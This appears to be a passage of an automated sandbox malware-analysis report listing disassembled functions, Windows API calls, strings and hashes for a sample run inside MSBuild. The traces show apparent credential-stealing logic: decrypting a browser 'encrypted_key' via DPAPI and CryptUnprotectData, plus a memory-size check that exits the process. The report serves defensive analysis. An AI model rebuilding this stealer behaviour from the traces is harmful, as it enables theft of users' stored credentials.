Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

DPAPI, xrefs: 00409D89
, xrefs: 00409DC1
"encrypted_key":", xrefs: 00409D30

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6C4FC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4FC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4FC969
GetSystemInfo.KERNEL32(?), ref: 6C4FC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4FC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4FC9E2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 175057941334d9e28eadfb421d7dfc34a60355d5bde32208ae27e2aa84014396
Instruction ID: 340bfcf908985ecee7c0d1ec4fcae949022c3c0e96455633c62eebbc08ca6927
Opcode Fuzzy Hash: 175057941334d9e28eadfb421d7dfc34a60355d5bde32208ae27e2aa84014396
Instruction Fuzzy Hash: 9121D331741204ABDB25AE69CC88FBEB3B9ABC6340F51011AF953A6B40EB60AC058794

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,01260B30,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,01266710,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01265D70), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01266110), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01266080), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01265D70), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01266110), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01266080), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01265E20,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01266C70,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01250578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(01265E20,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-2812842227
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
@Jn@, xrefs: 00406C80, 00406C83

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
